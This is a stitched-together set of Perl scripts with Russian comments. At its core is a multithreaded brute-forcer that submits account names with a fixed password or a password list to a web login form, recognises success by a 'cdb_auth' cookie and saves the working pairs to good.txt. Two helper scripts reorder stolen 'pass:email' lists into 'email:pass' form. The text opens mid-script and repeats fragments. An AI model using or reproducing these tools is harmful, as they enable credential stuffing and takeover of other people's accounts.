$thr[$i] = threads->create (\&brute, $login_username, $nowpass);

    $i = ($i + 1) % 5; #Количество потоков  (5)
  }
}
}

#! /usr/bin/perl -w
use IO::Socket;
use threads;
use threads::shared;
use Fcntl ':flock';

$pwd	 =  shift || '123456'    	; #Пароль
$threads =  shift || 20		        ; #Кол-во потоков
$ml      =  shift || 'acc.txt'		; #Список акков
$fname   = 'good.txt'      		; #Валидные


my $i : shared = 0;
my @trl;
$| =1;

print "Loading...\n";

open (ACS, "<$ml") || die("Could not open acc list file!");
my @acc : shared = <ACS>;
chomp(@acc);
close(ACS);

$size = scalar @acc;
print  "Loaded: ".$size." accs.\n";

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{
	while(@acc)
	{	
		{lock(@acc);$acc = shift @acc;}
		my $sock = sock();
		
		my $data =
		"-----------------------------18847261322183\n".
		"Content-Disposition: form-data; name=\"username\"\n\n".
		"$acc\n".
		"-----------------------------18847261322183\n".
		"Content-Disposition: form-data; name=\"password\"\n\n".
		"$pwd\n".
		"-----------------------------18847261322183\n".
		"Content-Disposition: form-data; name=\"login\"\n\n".
		"Submit\n".
		"-----------------------------18847261322183--\n\n";
		
		my $re = 
		"POST HTTP/1.1\n".
		"Host: \n".
		"User-Agent: Mozilla/4.0\n".
		"Connection: close\n".
		"Referer: \n".
		"Content-Type: multipart/form-data; boundary=---------------------------18847261322183\n".
		"Content-Length: ".length($data)."\n\n".$data;
	
		print $sock $re; 
		read($sock,my $answ,10000);
		
		if($answ =~ /cdb_auth/)
			{
				print "[+] $acc\n";
				open(FILE, ">>$fname") || die("Could not open $fname\n");
				flock(FILE, LOCK_EX);
				print FILE "$acc:$pwd\n";
				flock(FILE, LOCK_UN);
				close(FILE);
			}
		{lock($i);$i++;}
		print "< ".sprintf("%.2f", ($i/$size)*100)."% >\r";
		close($sock);
	}
}

sub sock {
my $sock;
do {
	$sock = new IO::Socket::INET 
		(
		PeerAddr => '',
   		PeerPort => 80, 
   		PeerProto => 'tcp', 
   		TimeOut => 10
		) or print "Can't connect\n";
	} while (!$sock);
return $sock;
}

$pwd	 =  shift || 'pass.txt'    	; #Пароль
$threads =  shift || 20		        ; #Кол-во потоков
$ml      =  shift || 'acc.txt'		; #Список акков
$fname   = 'good.txt'      		; #Валидные


my $i : shared = 0;
my @trl;
$| =1;

print "Loading...\n";

open (ACS, "<$ml") || die("Could not open acc list file!");
open (PWD, "<$pwd") || die("Could not open pass list file!");
my @acc : shared = <ACS>;
my @pwd : shared = <PWD>;
chomp(@acc);
chomp(@pwd);
close(ACS);
close(PWD);


$size = scalar @acc;
$size2 = scalar @pwd;
print  "Loaded: ".$size." accs.\n";
print  "Loaded: ".$size2." pwds.\n";

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

#!/usr/bin/perl  -w

print "Select Option:\n\n";
print "[1]: Reverse Place [ Pass:Email To Email:Pass ]\n\n";
print "Option:";

$option = <STDIN>;
chomp($option);
print "Specify  Input  File: ";
$input_filename = <STDIN>;
chomp($input_filename);
open(INFILE, $input_filename);
print "Specify  Output File: ";
$output_filename = <STDIN>;
chomp($output_filename);
open(OUTFILE, '>' . $output_filename);
if ($option == 1) {
while ($line = <INFILE>) {
$_ = $line;
/(.+?):(.+?)\n/;
$a = $2;
$b = $1;
$a =~ s/^\s+//;
$a =~ s/\s+$//;
$b =~ s/^\s+//;
$b =~ s/\s+$//;
print OUTFILE $a, ':', $b, "\n"; 
}
}

#!/usr/bin/perl -w

print<<HERE;
Select Option:
[1]: Reverse Place [ Pass:Email To Email:Pass ]
HERE

chomp(my $opt = <>);

if($opt == 1)
	{
	 print "Specify input file: ";
	 chomp(my $in = <>);
	 print "Specify output file: ";
	 chomp(my $out = <>);
	 
	 open A, "<", $in || die $in."-".$!;
	 open B, ">>", $out || die $out."-".$!;
	 
	 while(<A>)
		{
		 $_ =~ /(.+?):(.+?)\n/;
		 print B $2.":".$1."\n" if defined $1 && defined $2;
		}
	 
	 close A;
	 close B;
	}
else
	{
	 print "No option has been specified\n";
	}